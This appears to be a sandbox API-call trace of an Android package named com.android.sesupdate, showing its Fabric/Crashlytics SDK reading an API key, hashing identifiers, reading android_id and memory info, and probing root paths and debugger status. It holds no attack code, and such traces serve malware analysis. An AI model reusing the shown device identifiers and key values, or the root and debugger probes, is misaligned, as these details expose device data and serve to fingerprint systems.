                          • toString: com.android.sesupdate
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:11 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{3b26b4b6 com.android.sesupdate}
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getAppIconResourceId:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: java.security.MessageDigest->getInstance at io.fabric.sdk.android.services.common.CommonUtils.hash:4 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          API: java.security.MessageDigest->update at io.fabric.sdk.android.services.common.CommonUtils.hash:16 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [B@269fb7b7
                          • $1: PNGIHDRPLTEz=tRNS@f*IDATx nH@|QIENDB`
                          • $2: 89504E470D0A1A0A0000000D4948445200000090000000900803000000D098128A00000003504C5445000000A77A3DDA0000000174524E530040E6D8660000002A4944415478DAEDC101010000008220FFAF6E484001000000000000000000000000000000000000007C1951900001C289CBD40000000049454E44AE42608200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
                          p1java.lang.Integer
                          • toString: 0
                          p2java.lang.Integer
                          • toString: 127
                          API: java.security.MessageDigest->digest at io.fabric.sdk.android.services.common.CommonUtils.sha1:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@35367042
                          • $1: ./l&O)YG*w
                          • $2: 2E2F12C9CAF18E6C264F29A759E5477FA62A7720
                          API: java.lang.String-><init> at io.fabric.sdk.android.services.common.CommonUtils.hash:35 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [C@347bd590
                          • $1: 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getAppIconResourceId:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: java.security.MessageDigest->getInstance at io.fabric.sdk.android.services.common.CommonUtils.hash:4 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          API: java.security.MessageDigest->update at io.fabric.sdk.android.services.common.CommonUtils.hash:16 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [B@16b329d8
                          • $1: PNGIHDRPLTEz=tRNS@f*IDATx nH@|QIENDB`
                          • $2: 89504E470D0A1A0A0000000D4948445200000090000000900803000000D098128A00000003504C5445000000A77A3DDA0000000174524E530040E6D8660000002A4944415478DAEDC101010000008220FFAF6E484001000000000000000000000000000000000000007C1951900001C289CBD40000000049454E44AE42608200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
                          p1java.lang.Integer
                          • toString: 0
                          p2java.lang.Integer
                          • toString: 127
                          API: java.security.MessageDigest->digest at io.fabric.sdk.android.services.common.CommonUtils.sha1:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@32f84f6d
                          • $1: ./l&O)YG*w
                          • $2: 2E2F12C9CAF18E6C264F29A759E5477FA62A7720
                          API: java.lang.String-><init> at io.fabric.sdk.android.services.common.CommonUtils.hash:35 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [C@13215bf0
                          • $1: 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.services.common.CommonUtils.getResourcePackageName:3 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: java.security.MessageDigest->getInstance at io.fabric.sdk.android.services.common.CommonUtils.hash:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          API: java.security.MessageDigest->update at io.fabric.sdk.android.services.common.CommonUtils.hash:8 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [B@1844d8e5
                          • $1: 727b1e1c99ed48bfa431dd3ed82456db
                          • $2: 3732376231653163393965643438626661343331646433656438323435366462
                          API: java.security.MessageDigest->digest at io.fabric.sdk.android.services.common.CommonUtils.hash:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@15ef1e61
                          • $1: !9kFjGc
                          • $2: 2139026BA246EEEC6ABBB147DBF0C48102E7639A
                          API: java.lang.String-><init> at io.fabric.sdk.android.services.common.CommonUtils.hash:13 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [C@15243899
                          • $1: 2139026ba246eeec6abbb147dbf0c48102e7639a
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 2139026ba246eeec6abbb147dbf0c48102e7639a
                          API: java.lang.String-><init> at io.fabric.sdk.android.services.common.CommonUtils.hexify:27 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [C@2012285b
                          • $1: 5ba59999009600013f10
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 5ba59999009600013f10
                          API: java.security.MessageDigest->getInstance at io.fabric.sdk.android.services.common.CommonUtils.hash:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          API: java.security.MessageDigest->update at io.fabric.sdk.android.services.common.CommonUtils.hash:8 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [B@6625596
                          • $1: edbc48a370844623be9da00d32277bfa
                          • $2: 6564626334386133373038343436323362653964613030643332323737626661
                          API: java.security.MessageDigest->digest at io.fabric.sdk.android.services.common.CommonUtils.hash:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@35f65517
                          • $1: [$1%V
                          • $2: A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          API: java.lang.String-><init> at io.fabric.sdk.android.services.common.CommonUtils.hash:13 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [C@e63522
                          • $1: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          API: io.fabric.sdk.android.services.common.CommonUtils->sha1 at io.fabric.sdk.android.services.common.CommonUtils.createInstanceIdFrom:58 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: edbc48a370844623be9da00d32277bfa
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          API: android.content.res.Resources->getString at io.fabric.sdk.android.services.common.CommonUtils.resolveBuildId:23 Show source
                          NameTypeValue
                          idjava.lang.Integer
                          • toString: 2131034113
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: edbc48a3-7084-4623-be9d-a00d32277bfa
                          API: java.security.MessageDigest->getInstance at io.fabric.sdk.android.services.common.CommonUtils.hash:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          API: java.security.MessageDigest->update at io.fabric.sdk.android.services.common.CommonUtils.hash:8 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [B@2234ece
                          • $1: edbc48a370844623be9da00d32277bfa
                          • $2: 6564626334386133373038343436323362653964613030643332323737626661
                          API: java.security.MessageDigest->digest at io.fabric.sdk.android.services.common.CommonUtils.hash:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@1ba989da
                          • $1: [$1%V
                          • $2: A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          API: java.lang.String-><init> at io.fabric.sdk.android.services.common.CommonUtils.hash:13 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [C@1946c4e8
                          • $1: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          API: io.fabric.sdk.android.services.common.CommonUtils->sha1 at io.fabric.sdk.android.services.common.CommonUtils.createInstanceIdFrom:58 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: edbc48a370844623be9da00d32277bfa
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          API: java.io.File-><init> at io.fabric.sdk.android.services.common.CommonUtils.closeOrLog:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls
                          API: java.io.File->renameTo at io.fabric.sdk.android.services.common.CommonUtils.closeOrLog:5 Show source
                          NameTypeValue
                          p0java.lang.Boolean
                          • toString: true
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls
                          API: android.provider.Settings.Secure->getString at io.fabric.sdk.android.services.common.CommonUtils.isEmulator:8 Show source
                          NameTypeValue
                          p0android.app.ContextImpl$ApplicationContentResolver
                          • toString: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                          p1java.lang.String
                          • toString: android_id
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: java.io.File->exists at io.fabric.sdk.android.services.common.CommonUtils.isRooted:23 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.File->exists at io.fabric.sdk.android.services.common.CommonUtils.isRooted:33 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.File-><init> at io.fabric.sdk.android.services.common.CommonUtils.closeOrLog:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls
                          API: java.io.File->renameTo at io.fabric.sdk.android.services.common.CommonUtils.closeOrLog:5 Show source
                          NameTypeValue
                          p0java.lang.Boolean
                          • toString: true
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls
                          API: java.io.File->exists at io.fabric.sdk.android.services.common.CommonUtils.extractFieldFromSystemFile:6 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.FileReader-><init> at io.fabric.sdk.android.services.common.CommonUtils.getTotalRamInBytes:16 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /proc/meminfo
                          NameTypeValue
                          Return Valuejava.io.FileReader
                          • toString: java.io.FileReader@227e775a
                          API: java.io.BufferedReader->readLine at io.fabric.sdk.android.services.common.CommonUtils.extractFieldFromSystemFile:18 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: MemTotal: 919924 kB
                          API: android.provider.Settings.Secure->getString at io.fabric.sdk.android.services.common.CommonUtils.isEmulator:8 Show source
                          NameTypeValue
                          p0android.app.ContextImpl$ApplicationContentResolver
                          • toString: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                          p1java.lang.String
                          • toString: android_id
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: android.provider.Settings.Secure->getString at io.fabric.sdk.android.services.common.CommonUtils.isEmulator:8 Show source
                          NameTypeValue
                          p0android.app.ContextImpl$ApplicationContentResolver
                          • toString: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                          p1java.lang.String
                          • toString: android_id
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: android.provider.Settings.Secure->getString at io.fabric.sdk.android.services.common.CommonUtils.isEmulator:8 Show source
                          NameTypeValue
                          p0android.app.ContextImpl$ApplicationContentResolver
                          • toString: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                          p1java.lang.String
                          • toString: android_id
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: java.io.File-><init> at io.fabric.sdk.android.services.common.CommonUtils.getDeviceState:9 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /system/app/Superuser.apk
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /system/app/Superuser.apk
                          API: java.io.File->exists at io.fabric.sdk.android.services.common.CommonUtils.isRooted:23 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.File-><init> at io.fabric.sdk.android.services.common.CommonUtils.getDeviceState:9 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /system/xbin/su
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /system/xbin/su
                          API: java.security.MessageDigest->getInstance at io.fabric.sdk.android.services.common.CommonUtils.hash:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: SHA-1
                          NameTypeValue
                          Return Valuejava.security.MessageDigest$MessageDigestImpl
                          • toString: MESSAGE DIGEST SHA-1
                          API: java.security.MessageDigest->update at io.fabric.sdk.android.services.common.CommonUtils.hash:8 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [B@3f9a9283
                          • $1: edbc48a370844623be9da00d32277bfa
                          • $2: 6564626334386133373038343436323362653964613030643332323737626661
                          API: java.security.MessageDigest->digest at io.fabric.sdk.android.services.common.CommonUtils.hash:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Object
                          • toString: [B@1c67c00
                          • $1: [$1%V
                          • $2: A70C5B872411D0A0D40DA8F7F831148FE10D2556
                          API: java.lang.String-><init> at io.fabric.sdk.android.services.common.CommonUtils.hash:13 Show source
                          NameTypeValue
                          p0java.lang.Object
                          • toString: [C@3769d3df
                          • $1: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          API: android.os.Debug->isDebuggerConnected at io.fabric.sdk.android.services.common.CommonUtils.isDebuggerAttached:2 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.common.CommonUtils->isDebuggerAttached at io.fabric.sdk.android.services.common.CommonUtils.getDeviceState:14 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.common.CommonUtils->sha1 at io.fabric.sdk.android.services.common.CommonUtils.createInstanceIdFrom:58 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: edbc48a370844623be9da00d32277bfa
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          API: java.io.File-><init> at io.fabric.sdk.android.services.common.CommonUtils.closeOrLog:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls
                          API: java.io.File->renameTo at io.fabric.sdk.android.services.common.CommonUtils.closeOrLog:5 Show source
                          NameTypeValue
                          p0java.lang.Boolean
                          • toString: true
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{efdbc43 com.android.sesupdate}
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{1479feb5 com.android.sesupdate}
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{2174e89b com.android.sesupdate}
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{3a6c9be4 com.android.sesupdate}
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{6425662 com.android.sesupdate}
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{c95573f com.android.sesupdate}
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{88f611f com.android.sesupdate}
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{e8114c5 com.android.sesupdate}
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.FirebaseInfo.isFirebaseCrashlyticsEnabled:24 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{3b3c59a5 com.android.sesupdate}
                          API: io.fabric.sdk.android.services.common.IdManager->shouldCollectHardwareIds at io.fabric.sdk.android.services.common.IdManager.getAdvertisingId:3 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.common.IdManager->shouldCollectHardwareIds at io.fabric.sdk.android.services.common.IdManager.getAdvertisingId:3 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.common.IdManager->getAdvertisingId at io.fabric.sdk.android.services.common.IdManager.getDeviceIdentifiers:60 Show source
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: io.fabric.sdk.android.services.common.IdManager->explicitCheckLimitAdTracking at io.fabric.sdk.android.services.common.IdManager.getAndroidId:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: android.app.SharedPreferencesImpl->getString at io.fabric.sdk.android.services.common.IdManager.getAppInstallIdentifier:15 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: crashlytics.installation.id
                          p1null
                          • toString: null
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: android.app.SharedPreferencesImpl->getString at io.fabric.sdk.android.services.common.IdManager.createInstallationUUID:15 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: crashlytics.installation.id
                          p1null
                          • toString: null
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: io.fabric.sdk.android.services.common.IdManager->explicitCheckLimitAdTracking at io.fabric.sdk.android.services.common.IdManager.getAndroidId:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: android.app.SharedPreferencesImpl->getString at io.fabric.sdk.android.services.common.IdManager.getAppInstallIdentifier:15 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: crashlytics.installation.id
                          p1null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 727b1e1c99ed48bfa431dd3ed82456db
                          API: io.fabric.sdk.android.services.common.IdManager->shouldCollectHardwareIds at io.fabric.sdk.android.services.common.IdManager.getAndroidId:11 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: android.provider.Settings.Secure->getString at io.fabric.sdk.android.services.common.IdManager.getAndroidId:23 Show source
                          NameTypeValue
                          p0android.app.ContextImpl$ApplicationContentResolver
                          • toString: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                          p1java.lang.String
                          • toString: android_id
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: io.fabric.sdk.android.services.common.IdManager->getAndroidId at io.fabric.sdk.android.services.common.IdManager.getDeviceIdentifiers:69 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: android.app.SharedPreferencesImpl->getString at io.fabric.sdk.android.services.common.IdManager.getAppInstallIdentifier:15 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: crashlytics.installation.id
                          p1null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 727b1e1c99ed48bfa431dd3ed82456db
                          API: io.fabric.sdk.android.services.common.IdManager->shouldCollectHardwareIds at io.fabric.sdk.android.services.common.IdManager.getAndroidId:11 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: android.provider.Settings.Secure->getString at io.fabric.sdk.android.services.common.IdManager.getAndroidId:23 Show source
                          NameTypeValue
                          p0android.app.ContextImpl$ApplicationContentResolver
                          • toString: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                          p1java.lang.String
                          • toString: android_id
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
